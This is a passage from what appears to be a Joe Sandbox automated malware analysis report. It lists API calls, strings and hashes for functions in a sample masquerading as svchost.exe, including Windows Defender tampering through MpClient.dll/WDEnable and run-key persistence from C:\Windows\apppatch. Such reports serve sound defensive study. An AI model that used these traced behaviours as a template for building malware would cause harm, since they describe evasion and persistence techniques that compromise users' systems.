                                                                                                                                                                                                            Function 02D252D0 Relevance: 22.8, APIs: 11, Strings: 2, Instructions: 90processthreadCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • memset.MSVCRT ref: 02D252F6
                                                                                                                                                                                                            • CreateToolhelp32Snapshot.KERNEL32(00000008,?), ref: 02D25307
                                                                                                                                                                                                            • GetLastError.KERNEL32 ref: 02D25310
                                                                                                                                                                                                            • SwitchToThread.KERNEL32 ref: 02D2531F
                                                                                                                                                                                                            • CreateToolhelp32Snapshot.KERNEL32(00000008,?), ref: 02D25328
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,00000000), ref: 02D25348
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 02D25359
                                                                                                                                                                                                            • Module32First.KERNEL32(00000000,?), ref: 02D2537A
                                                                                                                                                                                                            • StrStrIA.SHLWAPI(?,kernel), ref: 02D2539C
                                                                                                                                                                                                            • StrStrIA.SHLWAPI(00000000,.dll), ref: 02D253A8
                                                                                                                                                                                                            • Module32Next.KERNEL32(00000000,00000224), ref: 02D253B6
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: CreateHandleModule32SnapshotToolhelp32$CloseErrorFirstInformationLastNextSwitchThreadmemset
                                                                                                                                                                                                            • String ID: .dll$kernel
                                                                                                                                                                                                            • API String ID: 2979424695-2375045364
                                                                                                                                                                                                            • Opcode ID: 2c42d2e488d68918d516dcbaddfd417bd6410cbcfcb7aaa129b9d3e809665ac1
                                                                                                                                                                                                            • Instruction ID: 87d1f79bb6493a1464b91a559da62b457d07fb352eb9cd35ff7b0b5409dd7611
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 2c42d2e488d68918d516dcbaddfd417bd6410cbcfcb7aaa129b9d3e809665ac1
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 0A21FB76D41224BBD7109EA4BD48F9E73E8EB59328FD41155D945D3340DB70DD09C7A0
                                                                                                                                                                                                            Function 02D24450 Relevance: 19.3, APIs: 9, Strings: 2, Instructions: 90COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • OpenProcess.KERNEL32(00000400,00000000,00000000,7591F550,00000000,76EDC3F0), ref: 02D24465
                                                                                                                                                                                                            • OpenProcessToken.ADVAPI32(00000000,00000018,?,?,?,?,?,?,?,?,?,?,?,?,02D153C3), ref: 02D2447C
                                                                                                                                                                                                            • GetTokenInformation.KERNELBASE(?,00000007(TokenIntegrityLevel),?,00000010,?), ref: 02D2449A
                                                                                                                                                                                                            • CharUpperA.USER32(?,?,?,?,?,?,?,?,?,?,?,?,02D153C3), ref: 02D244B2
                                                                                                                                                                                                            • CharUpperA.USER32(?,?,?,?,?,?,?,?,?,?,?,?,02D153C3), ref: 02D244D8
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(?,00000000), ref: 02D2450B
                                                                                                                                                                                                            • FindCloseChangeNotification.KERNEL32(?), ref: 02D2451C
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,?), ref: 02D2452E
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 02D2453F
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: HandleInformation$CharCloseOpenProcessTokenUpper$ChangeFindNotification
                                                                                                                                                                                                            • String ID: *SYSTEM*$ADVA
                                                                                                                                                                                                            • API String ID: 4044281766-3691563785
                                                                                                                                                                                                            • Opcode ID: d27c70f7c2f3052ef852ed7b5acb8cb33e23da03f3d34ed88a2004e9614d3bea
                                                                                                                                                                                                            • Instruction ID: a1fd49b582b7c884ae08ea296a6b356cb634cd6950a49b72acf42f4f9714ed92
                                                                                                                                                                                                            • Opcode Fuzzy Hash: d27c70f7c2f3052ef852ed7b5acb8cb33e23da03f3d34ed88a2004e9614d3bea
                                                                                                                                                                                                            • Instruction Fuzzy Hash: B231A475D00258AFDB10CFA4D848BAE7BBCAF6471DF448498EE466B381D7B49D09CB60
                                                                                                                                                                                                            Function 00402660 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 228commemoryCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • CoInitializeEx.OLE32(00000000,00000002), ref: 0040267F
                                                                                                                                                                                                            • GetModuleFileNameW.KERNEL32(00000000,?,00000104,00000000), ref: 004026AD
                                                                                                                                                                                                            • SysAllocString.OLEAUT32(?), ref: 004026C0
                                                                                                                                                                                                            • SysAllocString.OLEAUT32(Windows Explorer), ref: 004026D2
                                                                                                                                                                                                            • CoCreateInstance.OLE32(00404E60,00000000,00004401,00404E70,?), ref: 004026FB
                                                                                                                                                                                                            • CoCreateInstance.OLE32(00404E80,00000000,00004401,00404E90,?), ref: 004027AF
                                                                                                                                                                                                            • SysFreeString.OLEAUT32(00402BFA), ref: 0040283D
                                                                                                                                                                                                            • SysFreeString.OLEAUT32(00000000), ref: 00402844
                                                                                                                                                                                                            • CoUninitialize.OLE32 ref: 0040289E
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3269898642.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3269898642.000000000045E000.00000040.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_400000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: String$AllocCreateFreeInstance$FileInitializeModuleNameUninitialize
                                                                                                                                                                                                            • String ID: Windows Explorer
                                                                                                                                                                                                            • API String ID: 1140695583-228612681
                                                                                                                                                                                                            • Opcode ID: 48870ef3a6f763ae96f3c2dd69552aefb7b97c57adec13363160e086d84a3559
                                                                                                                                                                                                            • Instruction ID: bcca5549e6a36079ff93457438ec30656b046552e7bb8440c472f06e22bdaec7
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 48870ef3a6f763ae96f3c2dd69552aefb7b97c57adec13363160e086d84a3559
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 3C714175A006059FCB10EB98CD84DAFB7B9AF88704B248266E904FB3D0D7B5ED42CB54
                                                                                                                                                                                                            Function 02D24C00 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 87memorystringCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • memset.MSVCRT ref: 02D24C33
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000008,00000110,?,00000000), ref: 02D24C42
                                                                                                                                                                                                            • RtlAllocateHeap.NTDLL(00000000,?,00000000), ref: 02D24C49
                                                                                                                                                                                                            • memset.MSVCRT ref: 02D24C61
                                                                                                                                                                                                            • GetUserNameA.ADVAPI32(00000000,00000104), ref: 02D24C78
                                                                                                                                                                                                            • GetLastError.KERNEL32(?,?,?,?,00000000), ref: 02D24C7E
                                                                                                                                                                                                              • Part of subcall function 02D13D90: GetProcessHeap.KERNEL32(00000008,02D24CA7,00000000,750934D0,?,?,02D24C94,00000104,?,?,?,?,00000000), ref: 02D13DAE
                                                                                                                                                                                                              • Part of subcall function 02D13D90: HeapAlloc.KERNEL32(00000000,?,?,02D24C94,00000104,?,?,?,?,00000000), ref: 02D13DB5
                                                                                                                                                                                                              • Part of subcall function 02D13D90: memset.MSVCRT ref: 02D13DC5
                                                                                                                                                                                                            • GetUserNameA.ADVAPI32(00000000,00000104), ref: 02D24C9F
                                                                                                                                                                                                            • StrChrIA.SHLWAPI(?,?,?,00000000,?,?,?,?,00000000), ref: 02D24CC6
                                                                                                                                                                                                            • lstrcpynA.KERNEL32(?,00000001,00000104,?,?,00000000,?,?,?,?,00000000), ref: 02D24CDA
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            • ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789, xrefs: 02D24C10
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Heap$memset$NameProcessUser$AllocAllocateErrorLastlstrcpyn
                                                                                                                                                                                                            • String ID: ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789
                                                                                                                                                                                                            • API String ID: 2345603349-374730529
                                                                                                                                                                                                            • Opcode ID: b83b67c5e5724d47f8e41a88e2636b82c07bb50ab658ae18ad30b14cc31959c2
                                                                                                                                                                                                            • Instruction ID: 4ff452d74f019e5ef92415117e2dc2f90b7f3bdb48fa4e5930bb9a52afa6b0aa
                                                                                                                                                                                                            • Opcode Fuzzy Hash: b83b67c5e5724d47f8e41a88e2636b82c07bb50ab658ae18ad30b14cc31959c2
                                                                                                                                                                                                            • Instruction Fuzzy Hash: BF213879E00125ABDB11DB689C44FBBB7F9BBA4705F100459FA4197340EB70AE45DBB0
                                                                                                                                                                                                            Function 004020C0 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 68libraryloaderCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • memset.MSVCRT ref: 004020FE
                                                                                                                                                                                                            • SHGetFolderPathA.SHELL32(00000000,00000026,00000000,00000000,?), ref: 00402114
                                                                                                                                                                                                            • PathAppendA.SHLWAPI(?,Windows Defender), ref: 0040212A
                                                                                                                                                                                                            • SetCurrentDirectoryA.KERNEL32(?), ref: 00402137
                                                                                                                                                                                                            • LoadLibraryA.KERNEL32(MpClient.dll), ref: 00402146
                                                                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,WDEnable), ref: 0040215B
                                                                                                                                                                                                            • FreeLibrary.KERNEL32(00000000), ref: 0040218C
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3269898642.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3269898642.000000000045E000.00000040.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_400000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: LibraryPath$AddressAppendCurrentDirectoryFolderFreeLoadProcmemset
                                                                                                                                                                                                            • String ID: MpClient.dll$WDEnable$Windows Defender
                                                                                                                                                                                                            • API String ID: 1010965793-3061216624
                                                                                                                                                                                                            • Opcode ID: 7156f21b270df9d19488f98263c1b3c132659434c9e41277309e697b0c10c8f4
                                                                                                                                                                                                            • Instruction ID: 17fe50366fb736dd5c610a74938a74168bdb82ca3e71c76a348591a6388f5d5b
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 7156f21b270df9d19488f98263c1b3c132659434c9e41277309e697b0c10c8f4
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 8411D5B5900315BBC7209FA49D89FAABB7CEB48710F10027AFB05B61C0C2784E058AA8
                                                                                                                                                                                                            Function 02D14A16 Relevance: 16.6, APIs: 11, Instructions: 77memorynetworkCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 02D14A6F
                                                                                                                                                                                                            • HeapValidate.KERNEL32(00000000), ref: 02D14A72
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000), ref: 02D14A7F
                                                                                                                                                                                                            • HeapFree.KERNEL32(00000000), ref: 02D14A82
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,?), ref: 02D14A9A
                                                                                                                                                                                                            • HeapValidate.KERNEL32(00000000), ref: 02D14A9D
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,?), ref: 02D14AAA
                                                                                                                                                                                                            • HeapFree.KERNEL32(00000000), ref: 02D14AAD
                                                                                                                                                                                                            • InternetCloseHandle.WININET(00000000), ref: 02D14AC3
                                                                                                                                                                                                            • InternetCloseHandle.WININET(?), ref: 02D14ACD
                                                                                                                                                                                                            • InternetCloseHandle.WININET(00000000), ref: 02D14AD7
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Heap$Process$CloseHandleInternet$FreeValidate
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 278890334-0
                                                                                                                                                                                                            • Opcode ID: 71122670706fc7a271578eb42694fa5f67c0de0ebeef80bf74266c7191a766b4
                                                                                                                                                                                                            • Instruction ID: 06651dd91709504d9d4885cb291cbb251eb0dd82fafd386593d63ddd4d61c5cc
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 71122670706fc7a271578eb42694fa5f67c0de0ebeef80bf74266c7191a766b4
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 8821A131A49154BBDB249BB5BC88F9F7BADEF45318F050459F949D7680CA30DC50DBA0
                                                                                                                                                                                                            Function 02D06750 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 88registrystringCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • memset.MSVCRT ref: 02D06772
                                                                                                                                                                                                            • memset.MSVCRT ref: 02D06790
                                                                                                                                                                                                            • lstrcpynA.KERNEL32(?,00000000,00000104,?,?,?,?,?,75920F10), ref: 02D067A9
                                                                                                                                                                                                            • RegOpenKeyExA.KERNEL32(?,software\microsoft,00000000,00000102,?,?,?,?,?,?,75920F10), ref: 02D0681D
                                                                                                                                                                                                            • RegSetValueExA.ADVAPI32(?,A3B7FE06a,00000000,00000001,?,00000104,?,?,?,?,?,75920F10), ref: 02D06843
                                                                                                                                                                                                            • RegDeleteValueA.KERNEL32(?,A3B7FE06a,?,?,?,?,?,75920F10), ref: 02D06854
                                                                                                                                                                                                            • RegCloseKey.ADVAPI32(?,?,?,?,?,75920F10), ref: 02D06863
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Valuememset$CloseDeleteOpenlstrcpyn
                                                                                                                                                                                                            • String ID: A3B7FE06a$software\microsoft
                                                                                                                                                                                                            • API String ID: 2098141307-1900811875
                                                                                                                                                                                                            • Opcode ID: 8ee37432352226aa4cb48ebefcca60564a0e4337ae132d23a324b0fe26ff65ea
                                                                                                                                                                                                            • Instruction ID: ed91800d0763daf1d029f8b88362dfd4d796fc52f173a3d03e23d9303093f2a7
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 8ee37432352226aa4cb48ebefcca60564a0e4337ae132d23a324b0fe26ff65ea
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 6531F7B5940208ABEB14DF64DCC9FEE77ACEB18304F5045ADF546D3291D6B0DE988BA0
                                                                                                                                                                                                            Function 02D132C0 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 76registryCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • IsUserAnAdmin.SHELL32 ref: 02D132C8
                                                                                                                                                                                                            • RegOpenKeyExA.ADVAPI32(80000001,software\microsoft,00000000,00000101,?,?,02D168E7), ref: 02D132FF
                                                                                                                                                                                                            • RegQueryValueExA.ADVAPI32(?,A3B7FA4Aa,00000000,02D168E7,00000000,?,?,02D168E7), ref: 02D1331C
                                                                                                                                                                                                            • RegCloseKey.ADVAPI32(?,?,02D168E7), ref: 02D13326
                                                                                                                                                                                                            • RegOpenKeyExA.KERNEL32(80000002,software\microsoft,00000000,00000101,?,?,02D168E7), ref: 02D13359
                                                                                                                                                                                                            • RegQueryValueExA.KERNEL32(?,A3B7FA4Aa,00000000,?,00000000,02D168E7,?,02D168E7), ref: 02D13376
                                                                                                                                                                                                            • RegCloseKey.ADVAPI32(?,?,02D168E7), ref: 02D13380
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: CloseOpenQueryValue$AdminUser
                                                                                                                                                                                                            • String ID: A3B7FA4Aa$software\microsoft
                                                                                                                                                                                                            • API String ID: 2113243795-1822152813
                                                                                                                                                                                                            • Opcode ID: 64e3faddea0b77e90a19e991d4baa881cbfb310cc0a3b16cdd104774edb885f5
                                                                                                                                                                                                            • Instruction ID: ec032f3f1fae0698fdf0e8bd089ae29427f26c8f1317c3c99648f9051f564c43
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 64e3faddea0b77e90a19e991d4baa881cbfb310cc0a3b16cdd104774edb885f5
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 7C211279E40219FBEB10CFA4EC45FAEB7B8EF58704F504599F501A6240EBB46A448B94
                                                                                                                                                                                                            Function 02D255C0 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 118COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • GetSystemWindowsDirectoryA.KERNEL32(?,00000104), ref: 02D255EF
                                                                                                                                                                                                            • GetVolumeInformationA.KERNEL32(?,00000000,00000000,00FFAAFF,00000000,00000000,00000000,00000000), ref: 02D25628
                                                                                                                                                                                                            • _snprintf.MSVCRT ref: 02D25693
                                                                                                                                                                                                            • _snprintf.MSVCRT ref: 02D256F6
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: _snprintf$DirectoryInformationSystemVolumeWindows
                                                                                                                                                                                                            • String ID: 1234567890QWERTYUIOPASDFGHJKLZXCVBNM$5C590534$A3B7FA9Ea
                                                                                                                                                                                                            • API String ID: 2823094833-952618284
                                                                                                                                                                                                            • Opcode ID: 2ab011cf9a54cf91d922e41eb8d0a86cad4fd5764b10d8c76ad29fbfbdb131fa
                                                                                                                                                                                                            • Instruction ID: 0c03c333fb3fc5adbde736b451b6254f60f95f2cdc0a8fa88414bb9ca41267af
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 2ab011cf9a54cf91d922e41eb8d0a86cad4fd5764b10d8c76ad29fbfbdb131fa
                                                                                                                                                                                                            • Instruction Fuzzy Hash: B4413C71A40265EBDB14CF68AD84FEEF7E6EFA4304F9541A1D9449B380D6B05E09C790
                                                                                                                                                                                                            Function 02D03548 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 53registryCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • PathFileExistsA.SHLWAPI(C:\Windows\apppatch\svchost.exe,C:\Windows\apppatch\svchost.exe,C:\Windows\apppatch\svchost.exe), ref: 02D035AD
                                                                                                                                                                                                            • RegOpenKeyExA.ADVAPI32(80000001,software\microsoft\windows\currentversion\run,00000000,00000101,00000000), ref: 02D035CC
                                                                                                                                                                                                            • RegQueryValueExA.ADVAPI32(00000000,userinit,00000000,00000001,C:\Windows\apppatch\svchost.exe,00000104), ref: 02D035E6
                                                                                                                                                                                                            • RegCloseKey.KERNEL32(00000000), ref: 02D035F5
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: CloseExistsFileOpenPathQueryValue
                                                                                                                                                                                                            • String ID: C:\Windows\apppatch\svchost.exe$software\microsoft\windows\currentversion\run$userinit
                                                                                                                                                                                                            • API String ID: 3861587275-2273877672
                                                                                                                                                                                                            • Opcode ID: fa8690275e358ebebecec2d2ee83cfb4af836d4be1c838daa3fa985208be8396
                                                                                                                                                                                                            • Instruction ID: a9d323122a1529c7aae54af86f8e2460c7b353fd92cdac153e17ff4ea3873809
                                                                                                                                                                                                            • Opcode Fuzzy Hash: fa8690275e358ebebecec2d2ee83cfb4af836d4be1c838daa3fa985208be8396
                                                                                                                                                                                                            • Instruction Fuzzy Hash: D3012F34B4024CEBFB14CA60BD8AFED3355DB54B04F5005A4E545626A0E6B09D448BA0
                                                                                                                                                                                                            Function 02D03564 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 47registryCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • PathFileExistsA.SHLWAPI(C:\Windows\apppatch\svchost.exe,C:\Windows\apppatch\svchost.exe,C:\Windows\apppatch\svchost.exe), ref: 02D035AD
                                                                                                                                                                                                            • RegOpenKeyExA.ADVAPI32(80000001,software\microsoft\windows\currentversion\run,00000000,00000101,00000000), ref: 02D035CC
                                                                                                                                                                                                            • RegQueryValueExA.ADVAPI32(00000000,userinit,00000000,00000001,C:\Windows\apppatch\svchost.exe,00000104), ref: 02D035E6
                                                                                                                                                                                                            • RegCloseKey.KERNEL32(00000000), ref: 02D035F5
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: CloseExistsFileOpenPathQueryValue
                                                                                                                                                                                                            • String ID: C:\Windows\apppatch\svchost.exe$software\microsoft\windows\currentversion\run$userinit
                                                                                                                                                                                                            • API String ID: 3861587275-2273877672
                                                                                                                                                                                                            • Opcode ID: 58f28d39fe83e87438c003de9ea130d5dc4600da392bf70bd89e1f8716af08e6
                                                                                                                                                                                                            • Instruction ID: 8daff3939de7d7c0af8bd1f54018fd434911da0a4c4a725559e84861072a9a3e
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 58f28d39fe83e87438c003de9ea130d5dc4600da392bf70bd89e1f8716af08e6
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 2401DD34B4024CEBFB14CB60FC99FED7364DB54B14F5004A4F946A22A0E6B09D448BA0
                                                                                                                                                                                                            Function 02D07140 Relevance: 12.1, APIs: 8, Instructions: 88fileCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • CreateFileA.KERNEL32(?,C0000000,00000003,00000000,00000002,00000080,00000000,00000000,7591F380,?,?,?,02D14A6C,00000000,00000000,00000000), ref: 02D07179
                                                                                                                                                                                                            • SetFilePointer.KERNEL32(00000000,00000000,00000000,00000001,?,?,02D14A6C,00000000,00000000,00000000,00000000,00000000,00000000), ref: 02D0718E
                                                                                                                                                                                                            • LockFile.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,?,02D14A6C,00000000,00000000,00000000,00000000,00000000,00000000), ref: 02D0719D
                                                                                                                                                                                                            • WriteFile.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,?,02D14A6C,00000000,00000000,00000000,00000000,00000000,00000000), ref: 02D071AF
                                                                                                                                                                                                            • UnlockFile.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,?,02D14A6C,00000000,00000000,00000000,00000000,00000000,00000000), ref: 02D071BF
                                                                                                                                                                                                            • SetEndOfFile.KERNEL32(00000000,?,?,02D14A6C,00000000), ref: 02D071CC
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,00000000,?,?,02D14A6C,00000000), ref: 02D071EE
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000,?,?,02D14A6C,00000000), ref: 02D071FF
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: File$Handle$CloseCreateInformationLockPointerUnlockWrite
